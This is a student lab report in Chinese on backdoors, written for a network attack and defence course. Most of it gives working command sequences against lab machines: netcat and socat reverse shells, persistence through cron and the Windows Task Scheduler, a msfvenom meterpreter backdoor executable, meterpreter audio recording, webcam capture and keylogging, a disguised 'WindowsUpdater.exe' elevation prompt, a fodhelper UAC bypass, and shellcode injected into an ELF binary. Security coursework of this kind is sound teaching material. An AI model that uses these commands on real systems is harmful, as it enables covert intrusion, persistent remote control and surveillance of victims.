20222420 2024-2025-1 《網路與系統攻防技術》實驗二實驗報告
1.實驗內容
1.1 本週學習內容
1.1.1 後門介紹
- 後門概念:不經過正常認證流程而訪問系統的通道
- 後門型別:編譯器、作業系統、應用程式中的後門,潛伏於OS或偽裝成APP的後門程式
1.1.2 後門案例
- 編譯器後門:Xcode
- 作業系統後門:shellshock
- 韌體後門:BIOS中隱藏Telnet後門、印表機後門
- 硬體後門:Meltdown漏洞(CPU漏洞)
- 應用程式後門:舊版本的華碩軟體、SolarWinds旗下的Orion網路監控軟體、Log4shell漏洞
1.1.3 後門技術
- 管控功能實現技術
- 自啟動技術
- 程序隱藏技術
1.2 實驗任務
- 使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)
- 使用socat獲取主機操作Shell, 任務計劃啟動
- 使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell
- 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
- 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
2.問題回答
- 例舉你能想到的一個後門進入到你係統中的可能方式?
非正規渠道下載Photoshop。 - 例舉你知道的後門如何啟動起來(win及linux)的方式?
windows下設定任務計劃,linux下設定cron。 - Meterpreter有哪些給你映像深刻的功能?
能獲取目標主機的shell,能啟用目標主機的攝像頭並傳回拍攝的照片,能啟用目標主機的錄音器並傳回錄製的音訊,能獲取目標主機的擊鍵記錄,能在一定情況下提升在目標主機中的許可權。 - 如何發現自己有系統有沒有被安裝後門?
檢視程序,抓包分析,專業防毒軟體掃描,檢視任務計劃表。
3.實驗過程
3.1 設定linux的cron,windows使用netcat獲取linux的Shell
- 在不設定linux的cron的情況下,windows使用netcat獲取linux的Shell
使用反彈連線:攻擊者windows設定監聽埠,被害主機linux發起請求並將標準輸入輸出重定向到該埠- 攻擊者windows設定監聽埠
ncat -l -p 2420
# ncat代表netcat;-l代表監聽;-p代表埠,其後為埠號
- 被害主機linux發起請求
nc 192.168.1.114 2420 -e /bin/sh
# nc代表netcat,其後為攻擊者的IP和監聽埠;-e代表指定一個程式來執行,該程式的標準輸入、輸出和錯誤輸出將被重定向到網路連線上,其後為指定的程式
- 結果:透過以上配置,在不設定linux的cron的情況下,windows使用netcat成功獲取linux的Shell。
- 攻擊者windows設定監聽埠
- 在設定linux的cron的情況下,windows使用netcat獲取linux的Shell
- 攻擊者windows設定監聽埠
ncat -l -p 2420
# ncat代表netcat;-l代表監聽;-p代表埠,其後為埠號 - 被害主機linux設定cron,定時發起請求
crontab -e
# (建立並)開啟crontab檔案,其用於定義定時任務
- 選擇vim.basic編輯器
- 在檔案的最下面新增一行crontab條目
敲擊i以進入編輯模式,敲擊ESC退出編輯模式,在檢視模式下輸入:wq以儲存並退出。
* * * * * nc 192.168.150.1 2420 -e /bin/sh
# 第一個代表每分鐘,第二個代表每小時,第三個代表每日,第四個代表每月,第五個代表不分星期幾;每個均可以替換為具體的時間。其後跟著被害主機linux發起請求的命令。
- 結果:透過以上配置,在設定linux的cron的情況下,windows使用netcat成功獲取linux的Shell。
雖然linux上並未有反應但windows已經獲取了linux的Shell
- 攻擊者windows設定監聽埠
3.2 設定windows的任務計劃,linux使用socat獲取windows的Shell
- 在不設定windows的任務計劃的情況下,linux使用socat獲取windows的Shell
使用反彈連線:攻擊者linux設定監聽埠,被害主機windows發起請求並將標準輸入輸出重定向到該埠- 攻擊者linux設定監聽埠
socat TCP-LISTEN:2420
# TCP-LISTEN:代表監聽TCP連線,其後為埠號
- 被害主機windows發起請求
\Users\86199\Desktop\socat\socat\socat.exe exec:cmd.exe,pty,stderr TCP:192.168.150.172:2420
# 將cmd.exe的輸入輸出重定向到192.168.150.1的2420埠 - 結果:透過以上配置,在不設定windows的任務計劃的情況下,linux使用socat成功獲取windows的Shell。
- 攻擊者linux設定監聽埠
- 在設定windows的任務計劃的情況下,linux使用socat獲取windows的Shell
- 攻擊者linux設定監聽埠
socat TCP-LISTEN:2420 -
# TCP-LISTEN:代表監聽TCP連線,其後為埠號
- 被害主機windows設定任務計劃,定時發起請求
- 開啟“計算機管理”->“系統工具”->“任務計劃程式”,點選“建立任務”
- 在“觸發器”下設定觸發時間,在“操作”下設定軟體和引數,最後點選確定
引數為exec:powershell.exe,pipes TCP:192.168.150.172:2420
- 結果:透過以上配置,在不設定windows的任務計劃的情況下,linux使用socat成功獲取windows的Shell。
- 攻擊者linux設定監聽埠
3.3 使用MSF meterpreter生成可執行檔案(後門),利用ncat或socat傳送到windows並執行,獲取windows的Shell
- 攻擊者linux下使用命令msfvenom生成一個.exe格式的後門程式
被害主機windows執行該程式時發起請求,連線到LHOST指定的IP和LPORT指定的埠
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor.exe
# -p代表有效載荷型別,以確定用途;LHOST、LPORT代表監聽者即攻擊者的IP地址、埠;-f代表輸出格式;>將msfvenom命令的輸出重定向到一個名為20222420_backdoor.exe的檔案
- 使用netcat將後門程式傳送到Windows
windows監聽(使用cmd)並將資料儲存:ncat -l -p 2420 > \Users\86199\Desktop\20222420_backdoor.exe
linux請求並將資料傳送:nc 192.168.1.101 2420 < 20222420_backdoor.exe
- 攻擊者linux使用MSF監聽
msfconsole
use exploit/multi/handler
# 進入監聽模組
set payload windows/x64/meterpreter/reverse_tcp
# 設定攻擊載荷為64位Windows的反彈TCP連線
set LHOST 192.168.150.172
# 設定攻擊者的IP地址,請與後門程式的LHOST引數保持一致
set LPORT 2420
# 設定埠號 # 設定攻擊者的PORT,請與後門程式的LPORT引數保持一致
exploit
- 被害主機windows執行後門程式,被獲取shell
3.4 利用後門,使用MSF meterpreter獲取windows的錄音、攝像功能和擊鍵記錄,並嘗試提權
- 獲取被害主機windows的錄音功能
record_mic -d 5
# -d 5代表錄製5秒
- 獲取被害主機windows的攝像功能
webcam_snap
- 獲取被害主機windows的擊鍵記錄
keyscan_start
# 開始記錄鍵盤敲擊記錄
keyscan_dump
# 顯示捕捉到的鍵盤記錄資訊
keyscan_stop
# 停止記錄鍵盤敲擊記錄
- 提升在被害主機windows中的許可權
提權命令為getsystem
,但因Windows的UAC(使用者賬戶控制)阻止程式執行有關係統更改的任務而無法成功。在shell下輸入whoami可知當前為普通使用者
- 方法一,被害主機windows主動以管理員身份執行後門程式
- 方法二,使用exploit/windows/local/ask模組,向windows詢問許可權
background
# 將連線會話放到後臺
use exploit/windows/local/ask
# 使用請求模組
set session 1
# 表示接下來的操作將針對編號為1的會話(即background的會話)進行
set FILENAME WindowsUpdater.exe
# 將顯示的請求者設定為WindowsUpdater.exe
run
# 執行,將在windows中彈出請求
被害者點選“是”後,攻擊者便可以提升許可權了
- 方法三,透過FodHelper登錄檔項,使用exploit/windows/local/bypassuac_fodhelper模組
use exploit/windows/local/bypassuac_fodhelper
run
結果驗證如下:第一次在shell中輸入whoami顯示為普通使用者,但再次getsystem顯示已經獲取許可權。於是再次在shell中輸入whoami,這次成功顯示為system許可權
- 方法一,被害主機windows主動以管理員身份執行後門程式
3.5 使用MSF meterpreter生成shellcode,注入到實驗1的pwn1,獲取反彈連線Shell
因為pwn1是elf格式的可執行檔案只能在Linux上執行,所以決定用linux攻擊linux。
-
在攻擊者下使用MSF meterpreter生成shellcode,注入到實驗1的pwn1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -x pwn1 -f elf > pwn2-20222420
-
攻擊者使用MSF監聽,被害者執行被注入後的檔案,獲取被害主機的shell
msfconsole
use exploit/multi/handler
# 進入監聽模組
set payload linux/x86/meterpreter/reverse_tcp
# 設定攻擊載荷為32位Windows的反彈TCP連線
set LHOST 192.168.150.172
# 設定攻擊者的IP地址,請與後門程式的LHOST引數保持一致
set LPORT 2420
# 設定埠號 # 設定攻擊者的PORT,請與後門程式的LPORT引數保持一致
exploit
再開一個終端或一個kali虛擬機器,執行被注入後的檔案,結果如下,攻擊成功
4.問題及解決方案
- 問題1:第二部分windows主動連線到攻擊者linux後彈窗並顯示警告。
- 問題1解決方案:經過嘗試,發現並不影響linux獲取windows的shell。
- 問題2:將後門傳輸到windows後發現無法執行。
- 問題2解決方案:經過查詢發現是因為windows透過powershell接收後相對原檔案有變化,改用cmd終端接收後就正常了。
- 問題3:第四部分嘗試提權時發現無法透過exploit/windows/local/bypassuac_injection模組進行記憶體注入。
- 問題3解決方案:透過報錯資訊知曉這一模組對於windows10以上的系統不適用,於是改用登錄檔項繞過Windows UAC保護。
5.學習感悟、思考等
從使用netcat和socat獲取主機操作Shell,到利用cron和任務計劃啟動自定義任務,再到使用MSF meterpreter生成後門並執行各種功能,這一系列操作不僅讓我對網路安全攻擊手段有了更直觀的認識,也提升了我的實戰技能。在實驗過程中,我遇到了不少挑戰,但透過網上大量的資料,我成功解決了遇到的問題並學習到了更加豐富的知識。
透過這次實驗,我深刻認識到了網路安全的重要性和複雜性。網路攻擊者可以利用各種手段和技術來攻擊我們的系統,竊取我們的資訊,控制我們的攝像頭、錄音器等,甚至還能提升自己的許可權。同時,我也深刻體會到了學習和實踐的重要性。在面對網路安全時,僅僅依靠書本上的理論知識是遠遠不夠的,必須透過實踐來加深對知識的理解,透過實戰來鍛鍊自己的技能。
參考資料
- Bypass-UAC(使用者帳戶控制)的那些事
- 0x21_MAL_後門原理與實踐